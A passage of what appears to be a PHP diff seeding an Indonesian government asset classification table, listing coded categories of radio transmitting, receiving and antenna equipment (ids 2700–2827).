'id_aset' => 2700, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '016', + 'nama' => 'AUDIO MONITOR', + ], + [ + 'id_aset' => 2701, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '017', + 'nama' => 'AM MONITOR', + ], + [ + 'id_aset' => 2702, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '018', + 'nama' => 'FM MONITOR', + ], + [ + 'id_aset' => 2703, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '019', + 'nama' => 'POWER DISTRIBUTION BOARD', + ], + [ + 'id_aset' => 2704, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '020', + 'nama' => 'LIGHTNING PROTECTOR', + ], + [ + 'id_aset' => 2705, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '021', + 'nama' => 'ALL BAND RECEIVER', + ], + [ + 'id_aset' => 2706, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '022', + 'nama' => 'CHANGE OVER SWITCH', + ], + [ + 'id_aset' => 2707, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '23', + 'sub_sub_kelompok' => '999', + 'nama' => 'PROGRAM INPUT EQUIPMENT LAINNYA', + ], + [ + 'id_aset' => 2708, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENE PENERIMA VHF', + ], + [ + 'id_aset' => 2709, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '001', + 'nama' => 'ANTENE PENERIMA VHF', + ], + [ + 'id_aset' => 2710, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERALATAN ANTENA PENERIMA LF', + ], + [ + 'id_aset' => 2711, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '003', + 'nama' => 'PERALATAN ANTENA PENERIMA MF', + ], + [ + 'id_aset' => 2712, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '004', + 'nama' => 'PERALATAN ANTENA PENERIMA HF', + ], + [ + 'id_aset' => 2713, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '005', + 'nama' => 'PERALATAN ANTENA PENERIMA MF+HF', + ], + [ + 'id_aset' => 2714, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '006', + 'nama' => 'PERALATAN ANTENA PENERIMA VHF', + ], + [ + 'id_aset' => 2715, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '007', + 'nama' => 'PERALATAN ANTENA PENERIMA UHF', + ], + [ + 'id_aset' => 2716, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '008', + 'nama' => 'PERALATAN ANTENA PENERIMA SSHF', + ], + [ + 'id_aset' => 2717, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '24', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENE PENERIMA VHF LAINNYA', + ], + [ + 'id_aset' => 2718, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '25', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR LF', + ], + [ + 'id_aset' => 2719, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '25', + 'sub_sub_kelompok' => '001', + 'nama' => 'PERALATAN PEMANCAR LF TRANSPORTABLE', + ], + [ + 'id_aset' => 2720, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '25', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERALATAN PEMANCAR LF PORTABLE', + ], + [ + 'id_aset' => 2721, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '25', + 'sub_sub_kelompok' => '003', + 'nama' => 'PERALATAN PEMANCAR LF STATIONARY', + ], + [ + 'id_aset' => 2722, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '25', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR LF LAINNYA', + ], + [ + 'id_aset' => 2723, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '26', + 'sub_sub_kelompok' => '000', + 'nama' => 'UNIT PEMANCAR MF+HF', + ], + [ + 'id_aset' => 2724, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '26', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT PEMANCAR MF+HF TRANSPORTABLE', + ], + [ + 'id_aset' => 2725, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '26', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT PEMANCAR MF+HF PORTABLE', + ], + [ + 'id_aset' => 2726, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '26', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT PEMANCAR MF+HF STATIONARY', + ], + [ + 'id_aset' => 2727, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '26', + 'sub_sub_kelompok' => '999', + 'nama' => 'UNIT PEMANCAR MF+HF LAINNYA', + ], + [ + 'id_aset' => 2728, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '27', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA PEMANCAR MF+HF', + ], + [ + 'id_aset' => 2729, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '27', + 'sub_sub_kelompok' => '001', + 'nama' => 'PERALATAN ANTENA PEMANCAR MF+HF TRANSPORTABLE', + ], + [ + 'id_aset' => 2730, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '27', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERALATAN ANTENA PEMANCAR MF+HF PORTABLE', + ], + [ + 'id_aset' => 2731, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '27', + 'sub_sub_kelompok' => '003', + 'nama' => 'PERALATAN ANTENA PEMANCAR MF+HF STATIONARY', + ], + [ + 'id_aset' => 2732, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '27', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA PEMANCAR MF+HF LAINNYA', + ], + [ + 'id_aset' => 2733, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '28', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PENERIMA', + ], + [ + 'id_aset' => 2734, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '28', + 'sub_sub_kelompok' => '001', + 'nama' => 'PERALATAN PENERIMA LF', + ], + [ + 'id_aset' => 2735, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '28', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERALATAN PENERIMA MF', + ], + [ + 'id_aset' => 2736, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '28', + 'sub_sub_kelompok' => '003', + 'nama' => 'PERALATAN PENERIMA HF', + ], + [ + 'id_aset' => 2737, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '28', + 'sub_sub_kelompok' => '004', + 'nama' => 'PERALATAN PENERIMA MF+HF', + ], + [ + 'id_aset' => 2738, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '28', + 'sub_sub_kelompok' => '005', + 'nama' => 'PERALATAN PENERIMA UHF', + ], + [ + 'id_aset' => 2739, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '28', + 'sub_sub_kelompok' => '006', + 'nama' => 'PERALATAN PENERIMA SHF', + ], + [ + 'id_aset' => 2740, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '28', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PENERIMA LAINNYA', + ], + [ + 'id_aset' => 2741, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '29', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA LF', + ], + [ + 'id_aset' => 2742, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '29', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TRANSCEIVER LF TRANSPORTABLE', + ], + [ + 'id_aset' => 2743, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '29', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TRANSCEIVER LF PORTABLE', + ], + [ + 'id_aset' => 2744, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '29', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT TRANSCEIVER LF STATIONARY', + ], + [ + 'id_aset' => 2745, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '29', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA LF LAINNYA', + ], + [ + 'id_aset' => 2746, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '30', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA MF', + ], + [ + 'id_aset' => 2747, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '30', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TRANSCEIVER MF TRANSPORTABLE', + ], + [ + 'id_aset' => 2748, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '30', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TRANSCEIVER MF PORTABLE', + ], + [ + 'id_aset' => 2749, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '30', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT TRANSCEIVER MF STATIONARY', + ], + [ + 'id_aset' => 2750, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '30', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA MF LAINNYA', + ], + [ + 'id_aset' => 2751, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '31', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA HF', + ], + [ + 'id_aset' => 2752, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '31', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TRANSCEIVER HF TRANSPORTABLE', + ], + [ + 'id_aset' => 2753, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '31', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TRANSCEIVER HF PORTABLE', + ], + [ + 'id_aset' => 2754, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '31', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT TRANSCEIVER HF STATIONARY', + ], + [ + 'id_aset' => 2755, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '31', + 'sub_sub_kelompok' => '004', + 'nama' => 'RS SSB TRANCIEVER', + ], + [ + 'id_aset' => 2756, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '31', + 'sub_sub_kelompok' => '005', + 'nama' => 'MINI RANGER', + ], + [ + 'id_aset' => 2757, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '31', + 'sub_sub_kelompok' => '006', + 'nama' => 'ARTEMIS', + ], + [ + 'id_aset' => 2758, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '31', + 'sub_sub_kelompok' => '007', + 'nama' => 'TELEROMETER', + ], + [ + 'id_aset' => 2759, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '31', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA HF LAINNYA', + ], + [ + 'id_aset' => 2760, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '32', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA MF+HF', + ], + [ + 'id_aset' => 2761, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '32', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TRANSCEIVER MF+HF TRANSPORTABLE', + ], + [ + 'id_aset' => 2762, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '32', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TRANSCEIVER MF+HF PORTABLE', + ], + [ + 'id_aset' => 2763, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '32', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT TRANSCEIVER MF+HF STATIONARY', + ], + [ + 'id_aset' => 2764, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '32', + 'sub_sub_kelompok' => '004', + 'nama' => 'DIFFERENTIAL OMEGA (PERALATAN PEMANCAR DAN PENERIMA MF+HF)', + ], + [ + 'id_aset' => 2765, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '32', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA MF+HF LAINNYA', + ], + [ + 'id_aset' => 2766, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '33', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA VHF', + ], + [ + 'id_aset' => 2767, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '33', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TRANSCEIVER VHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2768, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '33', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TRANSCEIVER VHF PORTABLE', + ], + [ + 'id_aset' => 2769, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '33', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT TRANSCEIVER VHF STATIONARY', + ], + [ + 'id_aset' => 2770, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '33', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA VHF LAINNYA', + ], + [ + 'id_aset' => 2771, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA UHF', + ], + [ + 'id_aset' => 2772, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TRANSCEIVER UHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2773, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TRANSCEIVER UHF PORTABLE', + ], + [ + 'id_aset' => 2774, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT TRANSCEIVER UHF STATIONARY', + ], + [ + 'id_aset' => 2775, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '004', + 'nama' => 'ULTRA HIGHT FREQUENCE LINK', + ], + [ + 'id_aset' => 2776, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '005', + 'nama' => 'AUTO ALARM TUSTEL (AAT)', + ], + [ + 'id_aset' => 2777, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '006', + 'nama' => 'DISTRIBUTION BOARD AND SIGNAL UNIT', + ], + [ + 'id_aset' => 2778, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '007', + 'nama' => 'REMOTE TERMINAL UNIT', + ], + [ + 'id_aset' => 2779, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '008', + 'nama' => 'MULTIPLEX TERMINAL EQUIPMENT', + ], + [ + 'id_aset' => 2780, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '009', + 'nama' => 'SIGNAL VELVOGER GROUNDING', + ], + [ + 'id_aset' => 2781, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '010', + 'nama' => 'BRIDGE MERGER TESTING', + ], + [ + 'id_aset' => 2782, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '011', + 'nama' => 'MESSAGE REPEATER', + ], + [ + 'id_aset' => 2783, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '012', + 'nama' => 'ELECTRIC CLEANER', + ], + [ + 'id_aset' => 2784, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '013', + 'nama' => 'AOTOMATIC AERLALE', + ], + [ + 'id_aset' => 2785, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '014', + 'nama' => 'POWER AND AWR METER ROUND', + ], + [ + 'id_aset' => 2786, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '015', + 'nama' => 'VOLTAGE REGULATOR', + ], + [ + 'id_aset' => 2787, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '016', + 'nama' => 'GYRO COMPASS', + ], + [ + 'id_aset' => 2788, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '017', + 'nama' => 'FREQUENCE SYNTHESIZER UNIT', + ], + [ + 'id_aset' => 2789, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '018', + 'nama' => 'VODAS (VOICE DEVISE ANTI SINGING)', + ], + [ + 'id_aset' => 2790, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '019', + 'nama' => 'ANEMOMETER (PERALATAN PEMANCAR DAN PENERIMA UHF)', + ], + [ + 'id_aset' => 2791, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '020', + 'nama' => 'CLEAR VIEW SCREEN', + ], + [ + 'id_aset' => 2792, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '021', + 'nama' => 'ARQ UNIT', + ], + [ + 'id_aset' => 2793, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '022', + 'nama' => 'RADIO DIRECTION FINDER', + ], + [ + 'id_aset' => 2794, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '023', + 'nama' => 'POWER TRANSMITTER', + ], + [ + 'id_aset' => 2795, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '024', + 'nama' => 'TELE CONTROLLER', + ], + [ + 'id_aset' => 2796, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '025', + 'nama' => 'LOCAL TERMINAL', + ], + [ + 'id_aset' => 2797, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '026', + 'nama' => 'DIGITAL SELECTIVE CALLING (DSC)', + ], + [ + 'id_aset' => 2798, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '34', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA UHF LAINNYA', + ], + [ + 'id_aset' => 2799, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '35', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA SHF', + ], + [ + 'id_aset' => 2800, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '35', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TRANSCEIVER SHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2801, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '35', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TRANSCEIVER SHF PORTABLE', + ], + [ + 'id_aset' => 2802, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '35', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT TRANSCEIVER SHF STATIONARY', + ], + [ + 'id_aset' => 2803, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '35', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR DAN PENERIMA SHF LAINNYA', + ], + [ + 'id_aset' => 2804, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '36', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA LF', + ], + [ + 'id_aset' => 2805, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '36', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT ANTENA TRANSCEIVER LF TRANSPORTABLE', + ], + [ + 'id_aset' => 2806, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '36', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT ANTENA TRANSCEIVER LF PORTABLE', + ], + [ + 'id_aset' => 2807, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '36', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT ANTENA TRANSCEIVER LF STATIONARY', + ], + [ + 'id_aset' => 2808, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '36', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA LF LAINNYA', + ], + [ + 'id_aset' => 2809, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '37', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA MF', + ], + [ + 'id_aset' => 2810, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '37', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT ANTENA TRANSCEIVER MF TRANSPORTABLE', + ], + [ + 'id_aset' => 2811, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '37', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT ANTENA TRANSCEIVER MF PORTABLE', + ], + [ + 'id_aset' => 2812, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '37', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT ANTENA TRANSCEIVER MF STATIONARY', + ], + [ + 'id_aset' => 2813, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '37', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA MF LAINNYA', + ], + [ + 'id_aset' => 2814, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '38', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA HF', + ], + [ + 'id_aset' => 2815, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '38', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT ANTENA TRANSCEIVER HF TRANSPORTABLE', + ], + [ + 'id_aset' => 2816, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '38', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT ANTENA TRANSCEIVER HF PORTABLE', + ], + [ + 'id_aset' => 2817, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '38', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT ANTENA TRANSCEIVER HF STATIONARY', + ], + [ + 'id_aset' => 2818, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '38', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA HF LAINNYA', + ], + [ + 'id_aset' => 2819, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '39', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA MF+HF', + ], + [ + 'id_aset' => 2820, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '39', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT ANTENA TRANSCEIVER MF+ HF TRANSPORTABLE', + ], + [ + 'id_aset' => 2821, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '39', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT ANTENA TRANSCEIVER MF+HF PORTABLE', + ], + [ + 'id_aset' => 2822, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '39', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT ANTENA TRANSCEIVER MF+HF STATIONARY', + ], + [ + 'id_aset' => 2823, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '39', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA MF+HF LAINNYA', + ], + [ + 'id_aset' => 2824, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '40', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA VHF', + ], + [ + 'id_aset' => 2825, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '40', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT ANTENA TRANSCEIVER VHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2826, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '40', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT ANTENA TRANSCEIVER VHF PORTABLE', + ], + [ + 'id_aset' => 2827, + 